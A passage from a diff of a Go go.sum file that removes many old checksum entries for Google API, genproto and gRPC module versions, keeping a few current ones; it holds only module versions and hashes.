v0.29.0/go.mod h1:Lcubydp8VUV7KeIHD9z2Bys/sm/vGKnG1UHuDBSrHWM= google.golang.org/api v0.30.0/go.mod h1:QGmEvQ87FHZNiUVJkT14jQNYJ4ZJjdRF23ZXz5138Fc= -google.golang.org/api v0.35.0/go.mod h1:/XrVsuzM0rZmrsbjJutiuftIzeuTQcEeaYcSk/mQ1dg= -google.golang.org/api v0.36.0/go.mod h1:+z5ficQTmoYpPn8LCUNVpK5I7hwkpjbcgqA7I34qYtE= -google.golang.org/api v0.40.0/go.mod h1:fYKFpnQN0DsDSKRVRcQSDQNtqWPfM9i+zNPxepjRCQ8= -google.golang.org/api v0.41.0/go.mod h1:RkxM5lITDfTzmyKFPt+wGrCJbVfniCr2ool8kTBzRTU= -google.golang.org/api v0.43.0/go.mod h1:nQsDGjRXMo4lvh5hP0TKqF244gqhGcr/YSIykhUk/94= -google.golang.org/api v0.47.0/go.mod h1:Wbvgpq1HddcWVtzsVLyfLp8lDg6AA241LmgIL59tHXo= -google.golang.org/api v0.48.0/go.mod h1:71Pr1vy+TAZRPkPs/xlCf5SsU8WjuAWv1Pfjbtukyy4= -google.golang.org/api v0.50.0/go.mod h1:4bNT5pAuq5ji4SRZm+5QIkjny9JAyVD/3gaSihNefaw= -google.golang.org/api v0.51.0/go.mod h1:t4HdrdoNgyN5cbEfm7Lum0lcLDLiise1F8qDKX00sOU= -google.golang.org/api v0.54.0/go.mod h1:7C4bFFOvVDGXjfDTAsgGwDgAxRDeQ4X8NvUedIt6z3k= -google.golang.org/api v0.55.0/go.mod h1:38yMfeP1kfjsl8isn0tliTjIb1rJXcQi4UXlbqivdVE= -google.golang.org/api v0.56.0/go.mod h1:38yMfeP1kfjsl8isn0tliTjIb1rJXcQi4UXlbqivdVE= -google.golang.org/api v0.57.0/go.mod h1:dVPlbZyBo2/OjBpmvNdpn2GRm6rPy75jyU7bmhdrMgI= -google.golang.org/api v0.61.0/go.mod h1:xQRti5UdCmoCEqFxcz93fTl338AVqDgyaDRuOZ3hg9I= -google.golang.org/api v0.63.0/go.mod h1:gs4ij2ffTRXwuzzgJl/56BdwJaA194ijkfn++9tDuPo= -google.golang.org/api v0.67.0/go.mod h1:ShHKP8E60yPsKNw/w8w+VYaj9H6buA5UqDp8dhbQZ6g= -google.golang.org/api v0.70.0/go.mod h1:Bs4ZM2HGifEvXwd50TtW70ovgJffJYw2oRCOFU/SkfA= -google.golang.org/api v0.71.0/go.mod h1:4PyU6e6JogV1f9eA4voyrTY2batOLdgZ5qZ5HOCc4j8= -google.golang.org/api v0.74.0/go.mod h1:ZpfMZOVRMywNyvJFeqL9HRWBgAuRfSjJFpe9QtRRyDs= -google.golang.org/api v0.75.0/go.mod h1:pU9QmyHLnzlpar1Mjt4IbapUCy8J+6HD6GeELN69ljA= -google.golang.org/api v0.77.0/go.mod h1:pU9QmyHLnzlpar1Mjt4IbapUCy8J+6HD6GeELN69ljA= -google.golang.org/api v0.78.0/go.mod h1:1Sg78yoMLOhlQTeF+ARBoytAcH1NNyyl390YMy6rKmw= -google.golang.org/api v0.80.0/go.mod h1:xY3nI94gbvBrE0J6NHXhxOmW97HG7Khjkku6AFB3Hyg= -google.golang.org/api v0.84.0/go.mod h1:NTsGnUFJMYROtiquksZHBWtHfeMC7iYthki7Eq3pa8o= -google.golang.org/api v0.85.0/go.mod h1:AqZf8Ep9uZ2pyTvgL+x0D3Zt0eoT9b5E8fmzfu6FO2g= -google.golang.org/api v0.90.0/go.mod h1:+Sem1dnrKlrXMR/X0bPnMWyluQe4RsNoYfmNLhOIkzw= -google.golang.org/api v0.93.0/go.mod h1:+Sem1dnrKlrXMR/X0bPnMWyluQe4RsNoYfmNLhOIkzw= -google.golang.org/api v0.95.0/go.mod h1:eADj+UBuxkh5zlrSntJghuNeg8HwQ1w5lTKkuqaETEI= -google.golang.org/api v0.96.0/go.mod h1:w7wJQLTM+wvQpNf5JyEcBoxK0RH7EDrh/L4qfsuJ13s= -google.golang.org/api v0.97.0/go.mod h1:w7wJQLTM+wvQpNf5JyEcBoxK0RH7EDrh/L4qfsuJ13s= -google.golang.org/api v0.98.0/go.mod h1:w7wJQLTM+wvQpNf5JyEcBoxK0RH7EDrh/L4qfsuJ13s= -google.golang.org/api v0.99.0/go.mod h1:1YOf74vkVndF7pG6hIHuINsM7eWwpVTAfNMNiL91A08= -google.golang.org/api v0.100.0/go.mod h1:ZE3Z2+ZOr87Rx7dqFsdRQkRBk36kDtp/h+QpHbB7a70= -google.golang.org/api v0.102.0/go.mod h1:3VFl6/fzoA+qNuS1N1/VfXY4LjoXN/wzeIp7TweWwGo= -google.golang.org/api v0.103.0/go.mod h1:hGtW6nK1AC+d9si/UBhw8Xli+QMOf6xyNAyJw4qU9w0= -google.golang.org/api v0.106.0/go.mod h1:2Ts0XTHNVWxypznxWOYUeI4g3WdP9Pk2Qk58+a/O9MY= -google.golang.org/api v0.107.0/go.mod h1:2Ts0XTHNVWxypznxWOYUeI4g3WdP9Pk2Qk58+a/O9MY= -google.golang.org/api v0.108.0/go.mod h1:2Ts0XTHNVWxypznxWOYUeI4g3WdP9Pk2Qk58+a/O9MY= -google.golang.org/api v0.110.0/go.mod h1:7FC4Vvx1Mooxh8C5HWjzZHcavuS2f6pmJpZx60ca7iI= -google.golang.org/api v0.111.0/go.mod h1:qtFHvU9mhgTJegR31csQ+rwxyUTHOKFqCKWp1J0fdw0= -google.golang.org/api v0.114.0/go.mod h1:ifYI2ZsFK6/uGddGfAD5BMxlnkBqCmqHSDUVi45N5Yg= google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0= google.golang.org/appengine v1.6.5/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= google.golang.org/appengine v1.6.6/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= -google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= -google.golang.org/genproto v0.0.0-20180427144745-86e600f69ee4/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= google.golang.org/genproto v0.0.0-20181107211654-5fc9ac540362/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= @@ -1834,114 +826,10 @@ google.golang.org/genproto v0.0.0-20200618031413-b414f8b61790/go.mod h1:jDfRM7Fc google.golang.org/genproto v0.0.0-20200729003335-053ba62fc06f/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20200804131852-c06518451d9c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20200825200019-8632dd797987/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20200904004341-0bd0a958aa1d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20201109203340-2640f1f9cdfb/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20201201144952-b05cb90ed32e/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20201210142538-e3217bee35cc/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20201214200347-8c77b98c765d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20210222152913-aa3ee6e6a81c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20210303154014-9728d6b83eeb/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20210310155132-4ce2db91004e/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20210319143718-93e7006c17a6/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20210329143202-679c6ae281ee/go.mod h1:9lPAdzaEmUacj36I+k7YKbEc5CXzPIeORRgDAUOu28A= -google.golang.org/genproto v0.0.0-20210402141018-6c239bbf2bb1/go.mod h1:9lPAdzaEmUacj36I+k7YKbEc5CXzPIeORRgDAUOu28A= -google.golang.org/genproto v0.0.0-20210513213006-bf773b8c8384/go.mod h1:P3QM42oQyzQSnHPnZ/vqoCdDmzH28fzWByN9asMeM8A= -google.golang.org/genproto v0.0.0-20210602131652-f16073e35f0c/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0= -google.golang.org/genproto v0.0.0-20210604141403-392c879c8b08/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0= -google.golang.org/genproto v0.0.0-20210608205507-b6d2f5bf0d7d/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0= -google.golang.org/genproto v0.0.0-20210624195500-8bfb893ecb84/go.mod h1:SzzZ/N+nwJDaO1kznhnlzqS8ocJICar6hYhVyhi++24= -google.golang.org/genproto v0.0.0-20210713002101-d411969a0d9a/go.mod h1:AxrInvYm1dci+enl5hChSFPOmmUF1+uAa/UsgNRWd7k= -google.golang.org/genproto v0.0.0-20210716133855-ce7ef5c701ea/go.mod h1:AxrInvYm1dci+enl5hChSFPOmmUF1+uAa/UsgNRWd7k= -google.golang.org/genproto v0.0.0-20210728212813-7823e685a01f/go.mod h1:ob2IJxKrgPT52GcgX759i1sleT07tiKowYBGbczaW48= -google.golang.org/genproto v0.0.0-20210805201207-89edb61ffb67/go.mod h1:ob2IJxKrgPT52GcgX759i1sleT07tiKowYBGbczaW48= -google.golang.org/genproto v0.0.0-20210813162853-db860fec028c/go.mod h1:cFeNkxwySK631ADgubI+/XFU/xp8FD5KIVV4rj8UC5w= -google.golang.org/genproto v0.0.0-20210821163610-241b8fcbd6c8/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= -google.golang.org/genproto v0.0.0-20210828152312-66f60bf46e71/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= -google.golang.org/genproto v0.0.0-20210831024726-fe130286e0e2/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= -google.golang.org/genproto v0.0.0-20210903162649-d08c68adba83/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= -google.golang.org/genproto v0.0.0-20210909211513-a8c4777a87af/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= -google.golang.org/genproto v0.0.0-20210924002016-3dee208752a0/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= -google.golang.org/genproto v0.0.0-20211118181313-81c1377c94b1/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= -google.golang.org/genproto v0.0.0-20211206160659-862468c7d6e0/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= -google.golang.org/genproto v0.0.0-20211208223120-3a66f561d7aa/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= -google.golang.org/genproto v0.0.0-20211221195035-429b39de9b1c/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= -google.golang.org/genproto v0.0.0-20220126215142-9970aeb2e350/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= -google.golang.org/genproto v0.0.0-20220207164111-0872dc986b00/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= -google.golang.org/genproto v0.0.0-20220218161850-94dd64e39d7c/go.mod h1:kGP+zUP2Ddo0ayMi4YuN7C3WZyJvGLZRh8Z5wnAqvEI= -google.golang.org/genproto v0.0.0-20220222213610-43724f9ea8cf/go.mod h1:kGP+zUP2Ddo0ayMi4YuN7C3WZyJvGLZRh8Z5wnAqvEI= -google.golang.org/genproto v0.0.0-20220304144024-325a89244dc8/go.mod h1:kGP+zUP2Ddo0ayMi4YuN7C3WZyJvGLZRh8Z5wnAqvEI= -google.golang.org/genproto v0.0.0-20220310185008-1973136f34c6/go.mod h1:kGP+zUP2Ddo0ayMi4YuN7C3WZyJvGLZRh8Z5wnAqvEI= -google.golang.org/genproto v0.0.0-20220324131243-acbaeb5b85eb/go.mod h1:hAL49I2IFola2sVEjAn7MEwsja0xp51I0tlGAf9hz4E= -google.golang.org/genproto v0.0.0-20220329172620-7be39ac1afc7/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= -google.golang.org/genproto v0.0.0-20220407144326-9054f6ed7bac/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= -google.golang.org/genproto v0.0.0-20220413183235-5e96e2839df9/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= -google.golang.org/genproto v0.0.0-20220414192740-2d67ff6cf2b4/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= -google.golang.org/genproto v0.0.0-20220421151946-72621c1f0bd3/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= -google.golang.org/genproto v0.0.0-20220429170224-98d788798c3e/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= -google.golang.org/genproto v0.0.0-20220502173005-c8bf987b8c21/go.mod h1:RAyBrSAP7Fh3Nc84ghnVLDPuV51xc9agzmm4Ph6i0Q4= -google.golang.org/genproto v0.0.0-20220505152158-f39f71e6c8f3/go.mod h1:RAyBrSAP7Fh3Nc84ghnVLDPuV51xc9agzmm4Ph6i0Q4= -google.golang.org/genproto v0.0.0-20220518221133-4f43b3371335/go.mod h1:RAyBrSAP7Fh3Nc84ghnVLDPuV51xc9agzmm4Ph6i0Q4= -google.golang.org/genproto v0.0.0-20220523171625-347a074981d8/go.mod h1:RAyBrSAP7Fh3Nc84ghnVLDPuV51xc9agzmm4Ph6i0Q4= -google.golang.org/genproto v0.0.0-20220608133413-ed9918b62aac/go.mod h1:KEWEmljWE5zPzLBa/oHl6DaEt9LmfH6WtH1OHIvleBA= -google.golang.org/genproto v0.0.0-20220616135557-88e70c0c3a90/go.mod h1:KEWEmljWE5zPzLBa/oHl6DaEt9LmfH6WtH1OHIvleBA= -google.golang.org/genproto v0.0.0-20220617124728-180714bec0ad/go.mod h1:KEWEmljWE5zPzLBa/oHl6DaEt9LmfH6WtH1OHIvleBA= -google.golang.org/genproto v0.0.0-20220624142145-8cd45d7dbd1f/go.mod h1:KEWEmljWE5zPzLBa/oHl6DaEt9LmfH6WtH1OHIvleBA= -google.golang.org/genproto v0.0.0-20220628213854-d9e0b6570c03/go.mod h1:KEWEmljWE5zPzLBa/oHl6DaEt9LmfH6WtH1OHIvleBA= -google.golang.org/genproto v0.0.0-20220722212130-b98a9ff5e252/go.mod h1:GkXuJDJ6aQ7lnJcRF+SJVgFdQhypqgl3LB1C9vabdRE= -google.golang.org/genproto v0.0.0-20220801145646-83ce21fca29f/go.mod h1:iHe1svFLAZg9VWz891+QbRMwUv9O/1Ww+/mngYeThbc= -google.golang.org/genproto v0.0.0-20220815135757-37a418bb8959/go.mod h1:dbqgFATTzChvnt+ujMdZwITVAJHFtfyN1qUhDqEiIlk= -google.golang.org/genproto v0.0.0-20220817144833-d7fd3f11b9b1/go.mod h1:dbqgFATTzChvnt+ujMdZwITVAJHFtfyN1qUhDqEiIlk= -google.golang.org/genproto v0.0.0-20220822174746-9e6da59bd2fc/go.mod h1:dbqgFATTzChvnt+ujMdZwITVAJHFtfyN1qUhDqEiIlk= -google.golang.org/genproto v0.0.0-20220829144015-23454907ede3/go.mod h1:dbqgFATTzChvnt+ujMdZwITVAJHFtfyN1qUhDqEiIlk= -google.golang.org/genproto v0.0.0-20220829175752-36a9c930ecbf/go.mod h1:dbqgFATTzChvnt+ujMdZwITVAJHFtfyN1qUhDqEiIlk= -google.golang.org/genproto v0.0.0-20220913154956-18f8339a66a5/go.mod h1:0Nb8Qy+Sk5eDzHnzlStwW3itdNaWoZA5XeSG+R3JHSo= -google.golang.org/genproto v0.0.0-20220914142337-ca0e39ece12f/go.mod h1:0Nb8Qy+Sk5eDzHnzlStwW3itdNaWoZA5XeSG+R3JHSo= -google.golang.org/genproto v0.0.0-20220915135415-7fd63a7952de/go.mod h1:0Nb8Qy+Sk5eDzHnzlStwW3itdNaWoZA5XeSG+R3JHSo= -google.golang.org/genproto v0.0.0-20220916172020-2692e8806bfa/go.mod h1:0Nb8Qy+Sk5eDzHnzlStwW3itdNaWoZA5XeSG+R3JHSo= -google.golang.org/genproto v0.0.0-20220919141832-68c03719ef51/go.mod h1:0Nb8Qy+Sk5eDzHnzlStwW3itdNaWoZA5XeSG+R3JHSo= -google.golang.org/genproto v0.0.0-20220920201722-2b89144ce006/go.mod h1:ht8XFiar2npT/g4vkk7O0WYS1sHOHbdujxbEp7CJWbw= -google.golang.org/genproto v0.0.0-20220926165614-551eb538f295/go.mod h1:woMGP53BroOrRY3xTxlbr8Y3eB/nzAvvFM83q7kG2OI= -google.golang.org/genproto v0.0.0-20220926220553-6981cbe3cfce/go.mod h1:woMGP53BroOrRY3xTxlbr8Y3eB/nzAvvFM83q7kG2OI= -google.golang.org/genproto v0.0.0-20221010155953-15ba04fc1c0e/go.mod h1:3526vdqwhZAwq4wsRUaVG555sVgsNmIjRtO7t/JH29U= -google.golang.org/genproto v0.0.0-20221014173430-6e2ab493f96b/go.mod h1:1vXfmgAz9N9Jx0QA82PqRVauvCz1SGSz739p0f183jM= -google.golang.org/genproto v0.0.0-20221014213838-99cd37c6964a/go.mod h1:1vXfmgAz9N9Jx0QA82PqRVauvCz1SGSz739p0f183jM= -google.golang.org/genproto v0.0.0-20221024153911-1573dae28c9c/go.mod h1:9qHF0xnpdSfF6knlcsnpzUu5y+rpwgbvsyGAZPBMg4s= -google.golang.org/genproto v0.0.0-20221024183307-1bc688fe9f3e/go.mod h1:9qHF0xnpdSfF6knlcsnpzUu5y+rpwgbvsyGAZPBMg4s= -google.golang.org/genproto v0.0.0-20221027153422-115e99e71e1c/go.mod h1:CGI5F/G+E5bKwmfYo09AXuVN4dD894kIKUFmVbP2/Fo= -google.golang.org/genproto v0.0.0-20221109142239-94d6d90a7d66/go.mod h1:rZS5c/ZVYMaOGBfO68GWtjOw/eLaZM1X6iVtgjZ+EWg= -google.golang.org/genproto v0.0.0-20221114212237-e4508ebdbee1/go.mod h1:rZS5c/ZVYMaOGBfO68GWtjOw/eLaZM1X6iVtgjZ+EWg= -google.golang.org/genproto v0.0.0-20221117204609-8f9c96812029/go.mod h1:rZS5c/ZVYMaOGBfO68GWtjOw/eLaZM1X6iVtgjZ+EWg= -google.golang.org/genproto v0.0.0-20221118155620-16455021b5e6/go.mod h1:rZS5c/ZVYMaOGBfO68GWtjOw/eLaZM1X6iVtgjZ+EWg= -google.golang.org/genproto v0.0.0-20221201164419-0e50fba7f41c/go.mod h1:rZS5c/ZVYMaOGBfO68GWtjOw/eLaZM1X6iVtgjZ+EWg= -google.golang.org/genproto v0.0.0-20221201204527-e3fa12d562f3/go.mod h1:rZS5c/ZVYMaOGBfO68GWtjOw/eLaZM1X6iVtgjZ+EWg= -google.golang.org/genproto v0.0.0-20221202195650-67e5cbc046fd/go.mod h1:cTsE614GARnxrLsqKREzmNYJACSWWpAWdNMwnD7c2BE= -google.golang.org/genproto v0.0.0-20221227171554-f9683d7f8bef/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= -google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= -google.golang.org/genproto v0.0.0-20230112194545-e10362b5ecf9/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= -google.golang.org/genproto v0.0.0-20230113154510-dbe35b8444a5/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= -google.golang.org/genproto v0.0.0-20230123190316-2c411cf9d197/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= -google.golang.org/genproto v0.0.0-20230124163310-31e0e69b6fc2/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= -google.golang.org/genproto v0.0.0-20230125152338-dcaf20b6aeaa/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= -google.golang.org/genproto v0.0.0-20230127162408-596548ed4efa/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= -google.golang.org/genproto v0.0.0-20230209215440-0dfe4f8abfcc/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= -google.golang.org/genproto v0.0.0-20230216225411-c8e22ba71e44/go.mod h1:8B0gmkoRebU8ukX6HP+4wrVQUY1+6PkQ44BSyIlflHA= -google.golang.org/genproto v0.0.0-20230222225845-10f96fb3dbec/go.mod h1:3Dl5ZL0q0isWJt+FVcfpQyirqemEuLAK/iFvg1UP1Hw= -google.golang.org/genproto v0.0.0-20230223222841-637eb2293923/go.mod h1:3Dl5ZL0q0isWJt+FVcfpQyirqemEuLAK/iFvg1UP1Hw= -google.golang.org/genproto v0.0.0-20230303212802-e74f57abe488/go.mod h1:TvhZT5f700eVlTNwND1xoEZQeWTB2RY/65kplwl/bFA= -google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4/go.mod h1:NWraEVixdDnqcqQ30jipen1STv2r/n24Wb7twVTGR4s= -google.golang.org/genproto v0.0.0-20230320184635-7606e756e683/go.mod h1:NWraEVixdDnqcqQ30jipen1STv2r/n24Wb7twVTGR4s= -google.golang.org/genproto v0.0.0-20230323212658-478b75c54725/go.mod h1:UUQDJDOlWu4KYeJZffbWgBkS1YFobzKbLVfK69pe0Ak= -google.golang.org/genproto v0.0.0-20230330154414-c0448cd141ea/go.mod h1:UUQDJDOlWu4KYeJZffbWgBkS1YFobzKbLVfK69pe0Ak= -google.golang.org/genproto v0.0.0-20230331144136-dcfb400f0633/go.mod h1:UUQDJDOlWu4KYeJZffbWgBkS1YFobzKbLVfK69pe0Ak= -google.golang.org/genproto v0.0.0-20230525234025-438c736192d0/go.mod h1:9ExIQyXL5hZrHzQceCwuSYwZZ5QZBazOcprJ5rgs3lY= google.golang.org/genproto v0.0.0-20230526203410-71b5a4ffd15e h1:Ao9GzfUMPH3zjVfzXG5rlWlk+Q8MXWKwWpwVQE1MXfw= google.golang.org/genproto v0.0.0-20230526203410-71b5a4ffd15e/go.mod h1:zqTuNwFlFRsw5zIts5VnzLQxSRqh+CGOTVMlYbY0Eyk= -google.golang.org/genproto/googleapis/api v0.0.0-20230525234020-1aefcd67740a/go.mod h1:ts19tUU+Z0ZShN1y3aPyq2+O3d5FUNNgT6FtOzmrNn8= -google.golang.org/genproto/googleapis/api v0.0.0-20230525234035-dd9d682886f9/go.mod h1:vHYtlOoi6TsQ3Uk2yxR7NI5z8uoV+3pZtR4jmHIkRig= google.golang.org/genproto/googleapis/api v0.0.0-20230530153820-e85fd2cbaebc h1:kVKPf/IiYSBWEWtkIn6wZXwWGCnLKcC8oWfZvXjsGnM= google.golang.org/genproto/googleapis/api v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:vHYtlOoi6TsQ3Uk2yxR7NI5z8uoV+3pZtR4jmHIkRig= -google.golang.org/genproto/googleapis/rpc v0.0.0-20230525234015-3fc162c6f38a/go.mod h1:xURIpW9ES5+/GZhnV6beoEtxQrnkRGIfP5VQG2tCBLc= -google.golang.org/genproto/googleapis/rpc v0.0.0-20230525234030-28d5490b6b19/go.mod h1:66JfowdXAEgad5O9NnYcsNPLCPZJD++2L9X0PCMODrA= google.golang.org/genproto/googleapis/rpc v0.0.0-20230530153820-e85fd2cbaebc h1:XSJ8Vk1SWuNr8S18z1NZSziL0CPIXLCCMDOEFtHBOFc= google.golang.org/genproto/googleapis/rpc v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:66JfowdXAEgad5O9NnYcsNPLCPZJD++2L9X0PCMODrA= google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= @@ -1957,35 +845,7 @@ google.golang.org/grpc v1.28.0/go.mod h1:rpkK4SK4GF4Ach/+MFLZUBavHOvF2JJB5uozKKa google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk= google.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= -google.golang.org/grpc v1.31.1/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= google.golang.org/grpc v1.33.1/go.mod h1:fr5YgcSWrqhRRxogOsw7RzIpsmvOZ6IcH4kBYTpR3n0= -google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc= -google.golang.org/grpc v1.34.0/go.mod h1:WotjhfgOW/POjDeRt8vscBtXq+2VjORFy659qA51WJ8= -google.golang.org/grpc v1.35.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= -google.golang.org/grpc v1.36.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= -google.golang.org/grpc v1.36.1/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= -google.golang.org/grpc v1.37.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= -google.golang.org/grpc v1.37.1/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= -google.golang.org/grpc v1.38.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= -google.golang.org/grpc v1.39.0/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE= -google.golang.org/grpc v1.39.1/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE= -google.golang.org/grpc v1.40.0/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34= -google.golang.org/grpc v1.40.1/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34= -google.golang.org/grpc v1.41.0/go.mod h1:U3l9uK9J0sini8mHphKoXyaqDA/8VyGnDee1zzIUK6k= -google.golang.org/grpc v1.42.0/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU= -google.golang.org/grpc v1.44.0/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU= -google.golang.org/grpc v1.45.0/go.mod h1:lN7owxKUQEqMfSyQikvvk5tf/6zMPsrK+ONuO11+0rQ= -google.golang.org/grpc v1.46.0/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= -google.golang.org/grpc v1.46.2/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= -google.golang.org/grpc v1.47.0/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= -google.golang.org/grpc v1.48.0/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= -google.golang.org/grpc v1.49.0/go.mod h1:ZgQEeidpAuNRZ8iRrlBKXZQP1ghovWIVhdJRyCDK+GI= -google.golang.org/grpc v1.50.0/go.mod h1:ZgQEeidpAuNRZ8iRrlBKXZQP1ghovWIVhdJRyCDK+GI= -google.golang.org/grpc v1.50.1/go.mod h1:ZgQEeidpAuNRZ8iRrlBKXZQP1ghovWIVhdJRyCDK+GI= 